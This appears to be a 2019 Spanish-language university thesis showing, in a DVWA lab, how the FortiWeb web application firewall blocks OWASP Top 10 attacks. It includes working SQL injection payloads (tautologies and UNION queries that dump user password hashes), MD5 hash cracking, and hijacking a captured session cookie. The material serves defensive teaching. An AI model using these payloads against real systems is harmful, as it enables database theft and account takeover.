## Universidad de Buenos Aires Facultades de Ciencias Económicas, Cs. Exactas y Naturales e Ingeniería



Carrera de especialización en Seguridad Informática

## Trabajo Final

## Tema

## Demostración de los beneficios de Fortiweb en una organización

## Autor:

Carlos Sulca Galarza

## Tutor:

#### Pedro Hecht

#### Año: 2019

Cohorte 2018



#### Resumen

En la actualidad el crecimiento de internet ha impactado directamente en la seguridad de la información manejada cotidianamente, sitios de comercio electrónico, servicios, bancos e incluso redes sociales contienen información sensible que en la mayoría de los casos resulta ser muy importante una debida protección.

Se puede decir que uno de los puntos más críticos de la seguridad en Internet son las herramientas que interactúan de forma directa con los usuarios, en este caso los servidores web. Es común escuchar sobre fallas en los sistemas de protección de los servidores más frecuentemente utilizados, por ejemplo, Apache, NGINX, IIS, etc o en los lenguajes de programación en que son escritas las aplicaciones. Sin embargo, la mayoría de los problemas detectados en servicios web no son provocados por fallas de ninguna de estas partes, si no que los problemas se generan por malas prácticas de parte de los programadores.

Debemos entender que programar aplicaciones web seguras no es una tarea fácil, ya que requiere por parte del programador, no sólo cumplir con el objetivo funcional básico de la aplicación, sino una concepción general de los riesgos que puede correr la información procesada por el sistema, ante estas posibles falencias podemos describir el top 10 OWASP sobre las principales vulnerabilidades de aplicaciones web:

- Inyecciones SQL.
- Autenticación rota y gestión de sesión.
- Secuencias de comandos entre sitios (XSS).
- Referencias inseguras y directas a objetos.
- Mala configuración de seguridad.
- Exposición de datos sensibles.
- Falta de control de acceso a nivel de función.
- Solicitud de falsificación entre sitios (CSRF).
- Usando componentes vulnerables conocidos.



• Redirecciones no validadas.

Para solventar estas falencias podemos usar los beneficios que nos brinda Fortiweb para la mitigación del TOP 10 de amenazas definidas por OWASP.



## Tabla de contenido

1.	Intro	ducción
2.	Obje	tivos7
3.	Marc	o Teórico
4.	Equi	pos de laboratorio9
	4.1.	Sistema DVWA9
	4.2.	Firewall Fortigate 11
	4.3.	Waf Fortiweb12
	4.4.	Windows 813
5.	Owa	sp14
	5.1.	Owasp Top 10 14
6.	Arqu	itectura de red 15
7.	Ataq	ues de inyección sql 16
	7.1.	Inyección sql 16
	7.2.	Mitigación de Inyección sql 20
8.	Ataq	ue de perdida de autenticación y gestión de sesiones
	8.1. I	Perdida de autenticación y gestión de sesiones
	8.2.	Mitigación de perdida de autenticación y gestión de sesiones 26
9.	Ataq	ue secuencia de comandos en sitios cruzados XSS
	9.1.	Secuencia de comandos en sitios cruzados XSS 29
	9.2.	Mitigación de secuencia de comandos en sitios cruzados XSS 36
10	). Ataq	ue de referencia directa insegura a objetos
	10.1.	Referencia directa insegura a objetos 39
	10.2.	Mitigación referencia directa insegura a objetos
11	. Ataq	ue de configuración de seguridad incorrecta44
	11.1.	Configuración de seguridad incorrecta 44
	11.2.	Mitigación de ataques por configuración de seguridad incorrecta 45



Universidad de Buenos Aires – Especialización en Seguridad Informática
12. Ataques por exposición de datos sensibles 51
12.1. Exposición de datos sensibles 51
12.2. Mitigaciones a la exposición de datos sensibles
13. Ataques por ausencia de control de acceso a las funciones 56
13.1. Ausencia de control de acceso a las funciones
13.2. Mitigación en ausencia de control de acceso a las funciones 58
14. Ataques de falsificación de peticiones entre sitios cruzados CSRF 60
14.1. Falsificación de peticiones entre sitios cruzados CSRF 60
14.2. Mitigación de falsificación de peticiones entre sitios cruzados CSRF65
15. Ataques de uso de componentes con vulnerabilidades conocidas 66
15.1. Uso de componentes con vulnerabilidades conocidas
15.2. Mitigación en uso de componentes con vulnerabilidades conocidas
16. Ataque de redirecciones y reenvíos no validados
16.1. Ataque de redirecciones y reenvíos no validados
16.2. Mitigaciones para ataques de redirecciones y reenvíos no validados
17. Conclusiones
18. Bibliografia 88
18.1. Específica



#### 1. Introducción

El increíble mundo de la web hoy en día se ha vuelto un complemento de nuestra vida cotidiana y también en entornos corporativos por esta razón se crea la necesidad de implementar un sistema que permita mantener más seguro este ámbito web, esto no quiere decir que la implementación de una aplicación especializada en filtrar ataques web sea un sustitutivo de otras medidas de protección que debe llevar a cabo los desarrolladores. Las aplicaciones web sin protección son el punto más fácil de entrada para los hackers y son vulnerables a muchos tipos de ataques.

El WAF (Web Application Firewall) es un firewall distinto a los de usos convencionales, que traen seguridad al perímetro de la red corporativa. Un WAF crea una barrera entre un servicio web y todo el resto de internet. Es un muro que impide que cualquier usuario malintencionado tenga acceso a su sitio web o aplicación de forma no autorizada.

El Web Application Firewall bloquea y protege su aplicación contra acciones malintencionadas como manipulación de contenido visualizado, inyecciones indebidas en la base de datos de SQL estándar, conocida como "inyección de SQL", algunos tipos de fraudes en el acceso administrativo y otras tantas especies de ciberataques.

WAF tiene la capacidad de monitorear, filtrar y bloquear automáticamente el tráfico de datos potencialmente malicioso a través de configuraciones y reglas predeterminadas que pueden impedir fácilmente los ataques más comunes. De esta forma su empresa evita trastornos con robo de información, aplicación fuera del aire debido a ataques DDoS, además de disminuir los gastos con infraestructura y recursos operacionales.



## 2. Objetivos

El objetivo de este trabajo es describir los beneficios que nos ofrece implementar en nuestras organizaciones un Fortiweb para la protección de nuestros servicios publicados en Internet como en Intranet.

Se realizará un breve análisis de sus funcionalidades y como nos protege de las vulnerabilidades más comunes definidas en el TOP 10 de OWASP, también validaremos como Fortiweb se alinea a las exigencias de cumplimiento que pueden ser requeridos por distintas organizaciones, a continuación, objetivos secundarios:

- Presentación de los beneficios de Fortiweb.
- Mecanismos de mitigación referentes al TOP 10 de vulnerabilidades de OWASP.
- Cumplimiento de Fortiweb con el estándar PCI DSS.
- Cumplimientos de políticas de seguridad de la información de una organización.
- Con la puesta en producción de Fortiweb se optimizará los recursos de los servidores backend.
- Mejora en la experiencia de los usuarios al usar los servicios web de una organización.



#### 3. Marco Teórico

Un WAF (Web Application Firewall) es un dispositivo hardware o software que permite proteger los servidores de aplicaciones web de determinados ataques específicos en Internet. Se controlan las transacciones al servidor web de nuestro negocio. La familia de firewall de aplicaciones web constituida por los appliances FortiWeb proporciona protección completa y especializada a todos los niveles para las aplicaciones y servicios Web de pequeñas, medianas y grandes empresas, proveedores de servicios de aplicaciones y proveedores de Software como servicio.

Los módulos de protección de aplicaciones web y de firewall XML de los que dispone FortiWeb protegen las aplicaciones web y los datos e información sensibles publicados en Internet frente a ataques y pérdidas de información y datos críticos. Mediante el uso de avanzadas técnicas para ofrecer protección bidireccional contra ataques complejos y sofisticados como por ejemplo "SQL injection" y "Cross-site scripting", las plataformas FortiWeb ayudan a prevenir robos de identidad, fraudes económicos y espionaje corporativo. Los dispositivos FortiWeb proporcionan la tecnología imprescindible para monitorizar y aplicar las distintas normativas regulatorias, tanto gubernamentales como de iniciativa privada, asegurar la implantación de las prácticas de seguridad recomendadas y las adecuadas políticas internas.

Mediante el uso de las herramientas automáticas de generación de informes preconfiguradas y totalmente personalizables que proporciona FortiWeb es muy sencillo medir el cumplimiento de las normativas regulatorias, como por ejemplo los estándares PCI DSS (Payment Card Industry's Data Security Standard).

Las amenazas a la seguridad de las redes e infraestructuras de las organizaciones han evolucionado enormemente y suponen una gran amenaza para las aplicaciones y servicios web, que constituyen el punto de acceso a la información confidencial y crítica guardada en las bases de datos de backend. En respuesta a todas estas amenazas se constituyeron los estándares regulatorios PCI. Sin embargo, asegurar que las aplicaciones web están



#### Universidad de Buenos Aires – Especialización en Seguridad Informática

completamente libres de vulnerabilidades es complicado debido a la constante aparición de nuevas vulnerabilidades, necesidades de parcheos, revisiones de código, a las presiones del mercado sobre los plazos temporales de las aplicaciones, la dificultad de la identificación de vulnerabilidades e incluso las dificultades de acceso al código de las aplicaciones.

Los appliances FortiWeb reducen de forma drástica el tiempo necesario para proteger de forma completa los recursos públicos y privados accesibles a través de Internet de cada organización y simplifica enormemente las tareas asociadas con la implementación de políticas de seguridad y el cumplimiento de las distintas normativas regulatorias.

#### 4. Equipos de laboratorio

#### 4.1 Sistema DVWA

Para demostrar el funcionamiento de Fortiweb usaremos el sistema web vulnerable llamado DVWA, ejecutada desde **Metasploitable 2** el cual tiene como base el sistema operativo Ubuntu, este entorno de pruebas cuenta con diversos sistemas vulnerables para entrenamiento.

Damn Vulnerable Web App (DVWA) es un reconocido entorno de entrenamiento en explotación de seguridad web escrito en PHP y MySQL cuyo objetivo principal es permitir a programadores y técnicos estudiar e investigar sobre las diferentes temáticas involucradas en dicho campo en un entorno completamente legal.

Dvwa permite analizar diversos ataques como:

- Brute Force
- Command Injection
- CSRF
- File Inclusion
- File Upload
- Insecure CAPTCHA
- SQL Injection
- SQL Injection (Blind)

- XSS (Reflected)
- XSS (Stored)



Figura 1. Bienvenida del sistema dvwa

DVWA nos permite trabajar con 3 niveles de seguridad Low, Medium

#### y High.

	DVWA
Home     DVV       Instructions     Scrip       Setup     Scrip       Brute Force     Security       Command Execution     The sec       CSRF     high       File Inclusion     Iow       SQL Injection     mediut       high     Vou car       SQL Injection (Blind)     PHPIDS       XSS reflected     You car       XSS stored     PHPIDS	WA Security         ot Security         y Level is currently high.         a set the security level to low, medium or high.         currently level changes the vulnerability level of DVWA.         Submit         Submit         x 0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.         a nable PHPIDS across this site for the duration of your session.         Sis currently disabled. [enable PHPIDS]
DVWA Security [Simula PHP Info About Logout Username: admin Security Level: high PHPIDS: disabled	<u>ite attack</u> ] - [ <u>View IDS log</u> ]

Figura 2. Niveles de seguridad del sistema dvwa



Universidad de Buenos Aires – Especialización en Seguridad Informática

Como se comprobará más adelante, estas malas prácticas existentes en el sistema DVWA pueden llevar a brechas de seguridad graves generando situaciones de peligro para cualquier organización. La versión del sistema web DVWA es 1.0.7, vamos a demostrar cómo Fortiweb puede hacer un hardening de esta aplicación.

## 4.2 Firewall Fortigate

FortiGate es un Firewall basado en hardware o software desarrollado por Fortinet. El sistema de FortiGate es el único sistema que puede detectar y eliminar virus, gusanos y otras amenazas basadas en contenido, sin afectar al rendimiento de la red, incluso para aplicaciones en tiempo real como la navegación Web. Las soluciones de Fortigate también incluyen:

- Firewall
- Filtrado de contenido
- VPN
- Antivirus
- Antispam
- Detección y prevención de intrusos y gestor de tráfico
- Balanceo de carga
- Alertas por e-mail

Estas características hacen de Fortigate la más rentable, conveniente, potente y segura de las soluciones de seguridad de red disponibles.

La solución de seguridad del firewall Fortinet ofrece cobertura a tres capas: Infraestructura, Usuarios y Aplicaciones. Ofrece un fuerte control y seguridad desde los endpoints al centro de datos, la nube privada e híbrida y desde el perímetro a las aplicaciones, proporcionando una gran flexibilidad para la evolución de la infraestructura TI de las organizaciones.





Figura 3. Funcionalidades de Fortigate

## 4.3 WAF Fortiweb

**FortiWeb** reduce el tiempo de implementación y simplifican la gestión de la seguridad de su empresa y protege aplicaciones web de ataques dirigidos a exploits -sean conocidos o desconocidos- mediante la utilización de métodos de detección multicapa y correlacionados.

FortiWeb de obtuvo la certificación ICSA Web Application Firewall, galardón que representa una prueba del compromiso por defender los más altos estándares de seguridad de la industria. El logro de esta certificación garantiza que los clientes FortiWeb puedan beneficiarse de las mejores prácticas en la industria de la seguridad informática para todas sus necesidades de aplicaciones Web.

Características y beneficios de FortiWeb:

- Único producto que proporciona un módulo Vulnerability Scanner dentro del firewall de aplicaciones web que completa una solución completa para PCI DSS 6.6.
- Garantiza la seguridad de las aplicaciones web y



Universidad de Buenos Aires – Especialización en Seguridad Informática

contenido de la base de datos. Incluye bloqueo de amenazas tales como cross-site scripting, inyección SQL, desbordamientos de búfer, denegación de servicios, y envenenamiento de cookies, entre otros.

- Cifrado SSL.
- Servidor de equilibrio de carga.
- Compresión de datos.
- Análisis de datos en tiempo real.



Figura 4. Familia de productos Fortiweb

## 4.4 Windows 8

Sistema operativo Windows 8 es usado para simular el equipo de un cliente ubicado en internet, este cliente realizará los ataques al sistema web DVWA.

Características del equipo virtual:

- Disco duro: 20 GB
- Memoria ram: 4 GB
- Navegador: Firefox, Google Chrome.





Figura 5. Windows 8

#### 5. OWASP

OWASP, es una organización sin fines de lucro a nivel mundial. Su objetivo es promover la codificación y el endurecimiento de aplicaciones seguras.

OWASP ha estado creciendo de forma constante desde 2004, y ha contribuido a proyectos como la aplicación de educación de seguridad **WebGoat**. Ahora puede encontrar presentadores de OWASP en todas partes, desde las conferencias oficiales AppSec de OWASP en California.



Figura 6. Logo de Owasp

## 5.1 OWASP Top 10

El top 10 de OWASP es una lista de vulnerabilidades que los expertos en seguridad consideran las más serias amenazas de seguridad web. OWASP los actualiza periódicamente en función de los datos de ataque disponibles.

Muchas organizaciones grandes, incluida PCI, recomiendan que analice estas vulnerabilidades y las corrija o defienda en su contra, a continuación, el top 10:

- Invecciones SQL.
- Autenticación rota y gestión de sesión.
- Secuencias de comandos entre sitios (XSS).



- Referencias inseguras y directas a objetos.
- Mala configuración de seguridad.
- Exposición de datos sensibles.
- Falta de control de acceso a nivel de función.
- Solicitud de falsificación entre sitios (CSRF).
- Usando componentes vulnerables conocidos.
- Redirecciones no validadas.

### 6. Arquitectura de red

FortiWeb estará implementado en modo Reverse Proxy, al tener capacidades de firewall específicas de TCP y HTTP, FortiWeb no está diseñado para proporcionar seguridad a aplicaciones que no son HTTP, debe implementarse detrás de un firewall, como FortiGate, que se enfoca en la seguridad de otros protocolos que pueden reenviarse a los servidores backend, como FTP y SSH.



Figura 7. Arquitectura de red



## 7. Ataques de inyección SQL

## 7.1 Inyección SQL

Esta vulnerabilidad consiste en inyectar código SQL invasor dentro del código SQL programado con el objetivo de alterar la funcionalidad del sistema. Este tipo de intrusión normalmente es de carácter malicioso y, por tanto, un problema de seguridad informática. Un programa o sistema web que no haya sido validado de forma correcta podrá ser vulnerable y la seguridad del sistema (base de datos) no podrá ser asegurada.

La intrusión se puede llevar a cabo al ejecutar un programa vulnerable, ya sea, en ordenadores de escritorio o bien en sitios Web. La vulnerabilidad se puede producir cuando el programador use parámetros a ingresar por parte del usuario, para realizar una consultar de la base de datos. En esos parámetros es donde se puede incluir el código SQL intruso para que sea ejecutado en dicha consulta.

El objetivo más común del código intruso es extraer toda la información posible de la base de datos, aunque tienen más usos como puede ser el iniciar sesión con la cuenta otro usuario, subir una shell al servidor, etc.

A continuación, veremos como el sistema DVWA es vulnerable a este tipo de ataque, Una forma rápida y sencilla de ver si la página tiene una vulnerabilidad del tipo SQL Injection es introducir un **apóstrofe**, en el caso de tener este tipo de vulnerabilidad va a devolver un error de SQL:

🛟 192.168.1.1:8090/login 🛛 🗙	FortiWeb - FortiWeb X	192.168.1.1/dvwa/vulnerabilities/sql X	+
$\leftrightarrow$ $\rightarrow$ C $\textcircled{a}$	③ 192.168.1.1/dvwa/vulnerab	ilities/sqli/?id='&Submit=Submit#	80%
You have an error in your SQL synta	x; check the manual that corresponds	to your MySQL server version for th	e right syntax to use near ''''' at line 1

Figura 8. Vulnerabilidad sql



Universidad de Buenos Aires – Especialización en Seguridad Informática

En la anterior figura se observa que el mensaje devuelto por el servidor es que hay un error de sintaxis en la consulta de SQL, por lo tanto, es vulnerable y se puede proceder con una inyección. Hay que tener en cuenta que no en todos los casos aparece el error, dependerá del tipo de vulnerabilidad que tenga, ya que en inyecciones avanzadas no muestran nada enviando una comilla.

A continuación, se muestran consultas básicas que se usan al hacer este tipo de ataque:

- 1' OR 1=1--'
- 1' OR '1' = '1
- ' OR"='
- 'OR 1=1--'
- 'OR 0=0 --'
- ' OR 'x'='x

Al probar la inyección con **1' OR 1=1--'** se muestra todos los usuarios que hay en la base de datos:

🛟 192.168.1.1:8090/login X	🛟 FortiWeb - FortiWeb 🛛 🗙	Damn Vulnerable Web App (D\ X +		_ 0 ×
$\leftrightarrow$ > C $\textcircled{a}$	i 192.168.1.1/dvwa/vulnerab	- vilities/sqli/?id=1'+OR+1%3D1'+&Submit=Submit#	80%) 🗵 🏠	⊪\ ⊡ =
		DVWA		^
	Home Instructions Setup Brute Force Command Execution CSRF File Inclusion SQL Injection SQL Injection Upload XSS reflected XSS stored	Vumerability. Soci injection User ID: "OR 1=1" First name: admin Surname: admin Surname: Brown ID: 1' OR 1=1" First name: Sordon Surname: Me ID: 1' OR 1=1" First name: Back Surname: Me ID: 1' OR 1=1" First name: Picaso		
	DVWA Security PHP Info About Logout Username: admin Security Level: Iow PHPIDS: disabled	Ti: 1' OR 1=1* First name: Bob Surname: Baith More info http://www.securiteam.com/securityreviews/5DPOM1P76E.html http://www.unixwiz.net/techt/ps/sgl-iniection http://www.unixwiz.net/techt/ps/sgl-iniection.html	<u>View Source View Help</u> r Windows Ir a Configuración de PC para activar	Windows.
🕂 🙆 📜 🌢	9		- 🕪 🗟	20:47 13/04/2019

Figura 9. Muestra de información después de ataque



Universidad de Buenos Aires – Especialización en Seguridad Informática

Al usar probar la inyección % OR '0'='0 tambien se muestras todos los usuarios de la base de datos:

<page-header></page-header>	🖉 Damn Vulnerable Web App (DVV 🗴 🛟 Fo	tiWeb - FortiWeb 🗙 🛛 😫 192.168.1.1:8090/login 🗙 🗎 🕂			- 8	Х
<image/> <image/> <complex-block><complex-block><complex-block><form><image/></form></complex-block></complex-block></complex-block>	$\leftrightarrow$ $\rightarrow$ C (1) No es seguro   192.168.	.1/dvwa/vulnerabilities/sqli/?id=%25%27+or+%270%27%3D%270&Submit=Submit#	63	Q 🖞	θ	:
Abur     More info       Logout     Tet //www.securitysmiseus/SOPIN/FPSE.html       Username: admin     Security Level: Sov       Security Level: Sov     Mew Source View Help		:1/dwa/vulnerabilities/sqli/?id=%25%27+or+%270%27%3D%2708/Submit=Submit#			θ	
Damn Vuhrenable Web Application (DVWA) v1.0.7		About More info Legout http://www.seu/itseu/ityreviews/SOPON1978E.html http://www.seu/itseu/ityreviews/SOPON1978E.html http://www.univet.net/techtpsisel-injection.html Usemane: admin Security Level: tow HMDS: dsaubid				
		Damn Hulmerable Web Application (DVWA) v1.0.7	163	<b>⊳</b> }∋	23:	21

Figura 10. Muestra de información después de ataque

Vamos averiguar el nombre de la base de datos como de las tablas que existen con el código **' union select** database(),group\_concat(table\_name) from information\_schema.tables where table\_schema=database()#

😫 192.168.1.1:8090/login 🛛 🗙	🕄 FortiWeb - FortiWeb X 🖉 Damn Vulnerable Web App (D) X +	_ 0 _ >
← → ♂ ŵ	🛈 192.168.1.1/dvwa/vulnerabilities/sqli/?id='+union+select+database()%2Cgroup_concat(table_nam 🛛 🐯 🗠 😒 🏠	lii\ 🗊 🗄
	Nome       Description         Instructions       Setup         Brack Force       Command Execution         Command Execution       Setup         State Force       Command Execution         Diverse predictions and setup       Setup (Setup)         Viglicital       Command Execution         State Force       Command Execution         Diverse predictions and setup (SetUp)       SetUp)         Upload       Command Execution Command Execution SetUp)         Mond       Company         Down       Command Execution Com	u=database()#
	Damn Witherable Web Application (DWA) v1.0.7 Ir a Configuración de PC para	
- 🤌 🚞 🧕	9 4	1:25 13/04/201

Figura 11. Muestra de información después de ataque



Tenemos como resultado base de datos llamada dvwa y tablas guestbook, users. Ahora obtendremos los nombres de las columnas de la tabla usuarios con el código ' union select 1,group\_concat(column\_name) from information\_schema.columns where table\_schema='dvwa' and table\_name='users'#

192.168.1.1:8090/login X	🛟 FortiWeb - FortiWeb 🛛 🗙	🖉 Damn Vulnerable Web App (D\ 🗙 + –	8 ×
← → ♂ ŵ	(i) 192.168.1.1/dvwa/vulnerabi	lities/sqli/?id='+union+select+1%2Cgroup_concat(column_name)	⊡ _©
	Home Instructions Setup Brute Force Command Execution CSRF File Inclusion SQL Injection (Blind) Upload XSS reflected XSS stored DVWA Security PHP Info About Logout	Vulnerability: SQL Injection         User ID:	mer'users'\$
	Security Level: low PHPIDS: disabled		
		Damn Vulnarable Web Application (DVWA) vf 0.7 Ir a Configuración de PC para activar Wind	DWS.
듬 ⋵ 🚞 🚳	9 4	· 10 년 명	21:31 3/04/2019

Figura 12. Muestra de información después de ataque

Por ultimo usaremos el codigo 'or 1=0 union select user,password from dvwa.users# para poder obtener los usuarios y sus claves obteniendo:



19



Como logramos observar obtuvimos las claves de los usuarios cifrados, ahora copiaremos la clave correspondiente a Pablo para interntar descifrarlos en alguna página web que ofresca el servicio como https://md5online.es/.

MD5 Online	Descifrado MD5 gr 🗙 🕂							-	a ×
$\leftarrow \   \rightarrow \   {\tt C}$	https://md5online.es						Q	☆ <b>С</b>	<b>()</b> :
	MD5Online			HASH	IS EN LA BASE DE DA 1,154,869,499	atos: ,174	ZONA PREMIUM		^ 
		Descifrar Un MD5	Cifrar MD5	Descifrado En Lista	Premium	Contáctenos			
3		D	ESCIF	RAR UN	MD5	2			
	Descifrar un	MD5							
		Introduce	tu MD5 y cruza lo:	s dedos. :					
		0d107d09f5	bbe40cade3de5	c7le9e9b7					
			Descifrador						
		(hash = 0d107d0	ncontró : <b>letmein</b> 9f5bbe40cade3c	le5c7le9e9b7)					
	¿Cómo func	iona?							
	El MD5 es un algoritmo de co longitud de la palabra de en Este algoritmo no es reversit	odificación de 128 bits que g trada. ole, siendo normalmente im	genera un hash hexa posible encontrar la	decimal de 32 caracteres, in palabra original a partir de	idependientemente de un MD5.	la			
م 🖿	H 🤤 📄 🔒		<u>.</u> 9	and for the Hellicher			x <sup>R</sup> ∧ ∎ // ¢) t	SP 21:39 13/04/20	519 🖓

Figura 14. Descifrando clave de usuario

Con esto podemos validar como una aplicación sin buenas practicas de seguridad puede poner en riesgo el activo más importante de una organización su **información**.

#### 7.2 Mitigación de inyección SQL

Fortiweb es capaz de bloquear ataques de inyección sql a continuación vamos a proteger el sistema DVWA de este tipo de ataques, usaremos la siguiente consulta sql **'or 1=0 union select user,password from dvwa.users#** para verificar si el ataque lograr su objetivo o no:



Figura 15. Explotando vulnerabilidad



Como vemos Fortiweb bloquea el ataque del cliente al ejecutar el codigo de inyección sql.



Figura 16. Bloqueo de FortiWeb

Como segunda prueba usaremos la consulta de inyección sql % OR '0'='0 y veremos que sucede:

DVWA					
Vulnerability: SQL Injection					
User ID:					
'% or'1=1' Submit					

Figura 17. Explotando vulnerabilidad

Como vemos nuevamente Fortiweb bloqueo el ataque sql.



Figura 18. Bloqueo de FortiWeb



## 8. Ataque de perdida de autenticación y gestión de sesiones

## 8.1 Perdida de autenticación y gestión de sesiones

Englobaría a todo lo referido en el tratamiento y técnicas de protección de credenciales y cómo las implementan las aplicaciones. Con lo cual, tendría que ver con fallos de implementación como serían:

- La utilización de canales no cifrados para transmitir credenciales.
- No proteger debidamente las credenciales de usuarios.
- Mala gestión en la recuperación de credenciales.
- Exposición de los ID de sesión (Cookies de sesión).

Estos fallos nos podrían llevar a que usuarios malintencionados o algún atacante se hiciera con las credenciales de un usuario o un incluso un administrador del sistema con lo que ello conllevaría.

Serían muchas las formas de conseguir explotar este tipo de vulnerabilidades puesto que son muchos los fallos los que podrían llevar a que un atacante se pudiera hacer con las credencial ilícitamente, dichos fallos podrían ser:

- No utilización de HTTPS.
- El envío de contraseñas en texto claro.
- URL con ID de sesión implícitas.
- Credenciales almacenadas sin cifrar.

Veremos como el sistema DVWA no usa una conexión segura y como un usuario con algunos conocimientos podria obtener la cookie que el servidor le asigna al iniciar sesión.

Para este tipo de ataque haremos un man in the midle usando la herramienta **Burp Suite** la siguiente imagen muestra la cookie proporcionada por el sistema la cual es una cookie PHPSESSID.





Figura 19. Detectando cookie del sistema

Connecting		Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox	0
192.168.1.1/dwa/login.php			× 🖸 🕼 😡 😼 合自 🖾 🖡 🦛 😕
One or more installed add-ons cannot be verified and have been di	sabled.		Learn More
		DVWA	
		Username	
		admin	
		Password	
		annan a	
		Lagin	
		You have logged out	
		Damn Vulnetable Web Application (DVWA) is a RandomStorm OpenSource project	
		Hint: default username is 'admin' with password 'password'	
Waiting for 192.168.1.1	lean it un for a fresh like-new experier	nee? And by the way, welcome back	Refrech Eirofra.
🔣 📝 🔳 🌍 💩 🐒 Burp Suite Free Edition v1.6.32	p Desktop - Dolphin	Bamn Vulnerable Web App (DVWA) - Login	🧷 🛶 🚑 🔿 🗤 📜 - 100

Realizaremos el login con el usuario admin y vemos lo siguiente.

Figura 20. Realizando login en el sistema

A continuación vemos como podemos capturar facilmente las **credenciales** y tambien vemos la **cookie** en texto plano enviados por el metodo POST al servidor backend.



	Burp Suite Free Edition v1.6.32		S O S						
Burp intruder Repeater Window Help									
Target Firsky Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Options Alerts CO2									
Intercept HTTP history WebSockets history Options									
Filter: Hiding CSS, image and general binary content			2						
# A Host Method URL Params Edited Status Leng	MIME type Extension Title Comment SSL	IP Cookies Time Listener port							
28 http://192.168.1.1 POST /dwa/login.php 2 302 354	HTML php	192.168.1.1 23:14:19 1 8082							
	and pop contraction wear	LANDARY EXCLUSION AND AND A							
x									
Request Response									
Rew Params Headers Hex									
POST /dvwa/login.php HTTP/1.1									
Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux 1686; rv:43.0) Gecko/20100101 Firefox/43.0									
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8									
Accept-Encoding: gzip, deflate									
DNT: 1									
Cookie: security=low; PHPSESSID=0670aa8c2387888f968c232185f433f7									
Connection: close									
Content-Type: application/x-www-torm-unlencoded Content-Length: 42									
username=adminopassword=carlosoLogin=Login									
			t,						
7 < + > Type a search term			0 matches						
🔣 🏑 🔳 😰 😼 🛐 Burp Suite Free Edition v1.6.32	Damn Vulnerable Web App (DVWA) v1.0.7 ::		🥭 🛶 🝙 🜍 🜒 🖳 🗸 (100 m) (6						

Figura 21. Interceptando tráfico con Burp Suite

AhoravamosacopiarlacookiePHPSESSID=0b70aa8c2387888f968c232185f433f7vamosainstalarunaextensión para el navegador Mozzila Firefox llamadoCookie Manageren elcual vamos a pegar nuestra cookie.

(1) 192.168.1.1:8090/login X	🕄 FortiWeb - FortiWeb 🛛 🗙	Cookie Manager	× +		- 🗖 🗙	
$\leftrightarrow$ $\rightarrow$ C $\textcircled{a}$	🛈 🏚 Extensión (Cookie Manag	er) moz-extension://b34650	78-2707-4ff4-9b5a-3c2e332c23e6/cookie-ma	ତ ☆	∭\ ⊡ ⊚ ≟	0
URL http://192.168.1.1/ Name PHPSESSID Value 0b70aa8c2387888f968c232185f43 Domain	917)					~
Host-only cookie for given URL     (Sub)domains of given URL     (Sub)domains of 192.168.1.1      Path     •/ (default)     Path of given URL     Custom path:/	JRL					
Expiration						
OExpiry date: OMarked for deletion (already	v expired)					
Flags Secure httpOnly				Activar Windows		
	Save			Ir a Configuración de PC para activ Cancel	var Windows.	~
	9			<u>~ 1</u> 0	0:31	,

Figura 22. Modificando valor de cookie en la extensión

En otro equipo cliente ingresamos la url del sistema web 192.168.1.1/dvwa/instructions "saltamos la página login.php"

😫 192.168.1.1:8090/login 🛛 🗙 😫	FortiWeb - FortiWeb X 🚯 Nueva pestaña	× +		- 🗖 🗙
$\leftrightarrow$ $\rightarrow$ C $rac{1}{2}$	Q 192.168.1.1/dvwa/instructions		$\rightarrow$	⊪\ © ଢ ≟
	G Buscar en la web		$\rightarrow$	*
📲 Más visitados	>			
☆ Destacados ∨				
ADDONS MOZILA Cookie Manager	Onsigue esta			
			Activar Windows Ir a Configuración de PC para act	ivar Windows.
			-	•
			<b>▲</b> (()	0:32 14/04/2019

Figura 23. Ingresando al sistema web

Validamos como sin ingresar las credenciales logramos acceder al sistema web.



Figura 24. Ingreso correcto al sistema



## 8.2 Mitigación de perdida de autenticación y gestión de sesiones

Fortiweb nos permite bloquear ataques basados en cookies y aplicarlas en un perfil de protección. Por ejemplo, una política puede habilitar la detección de envenenamiento de cookies, cifrar las cookies emitidas por un servidor de servicios de fondo y agregar atributos de seguridad a las cookies.

Fortiweb nos brinda la opción de insertar una cookie de seguimiento adicional a la cookie proporcionada por el servidor backend a continuación veremos la **cookiesession1** añadida por nuestro waf.



Figura 25. Cookie insertada por Fortiweb

Como vemos en la imagen anterior se añade una cookiesession1, pero adicionalmente Fortiweb brinda la opción de cifrar la cookie que envía el servidor backend dándonos la segura ante posibles ataques de envenenamiento de cookies y otros tipos de ataques, Fortiweb adicional proporciona estas técnicas para mitigar este tipo de ataque Autenticación https, doble factor de autenticación and kerberos support), página de inicio y orden de páginas, enmascaramiento de información sensible en los registros y Padding oracle protection.

Ahora veremos como agregamos una autenticación adicional antes del inicio en el sistema web, en un Windows Server 2012 tendremos creados los usuarios que accederán a los recursos, si el usuario no puede autenticarse no tendrá acceso al sistema web.

3	Activ	e Director	y Users and Computers	-		:
File Action View Help						
(* +) 2 📰 🗉 🗉 🕹 📓 🖬 🖏 📚 🐄 🖷 🌫						
Active Directory Users and Computers [SRV_AD.Aliada.com.pe]	Name	Туре	Description			
Saved Queries	& carlos sulca	User				
< 南 Aliada.com.pe	& Grp_sistemas	Security				
2 🧧 Builtin						
Computers						
Domain Controllers						
3 Finanzas						
ForeignSecurityPrincipals						
Cisteman						
al Disternas						
C Sets						
< III >						
🛓 🛛 🚊 🛷			- Ro 🖬 G	ESP	12:01 p.m. 26/04/2019	
			14/2			-

Figura 26. Usuarios en Windows server

🕄 FortiWeb - FortiWeb	>	< +													- Ć		×
↔ ∀ ⊕		i 1	92.168.1.1:1044/i	ndex					(8	10%	•• 🗟	) ☆	I	\		1	-0
FortiWeb-VM Forti	Web													Ć	2	>_	•
System	>	LDAP Server	RADIUS Server	NTLM Server	KDC Server	SAML Server											
EortiView	>	+Create New	🗹 🗹 Edit 🛗 D	elete													
🐣 User	~	#	Name		Server IP / Do	omain	Port	Com	mon Name Identifie	er			Distinguished I	lame			
User Group	>	1 0	Connection_Idap		20.20.20.1	10	389	s/	AMAccountName				DC=aliada,DC=cor	n,DC=	ре		
Local User																	
Remote Server																	
PKI User																	
Policy	>																
E Server Objects	>																
+ Application Delivery	>																
Web Protection	>																
FTP Security	>																
DoS Protection	>																
L IP Protection	>																
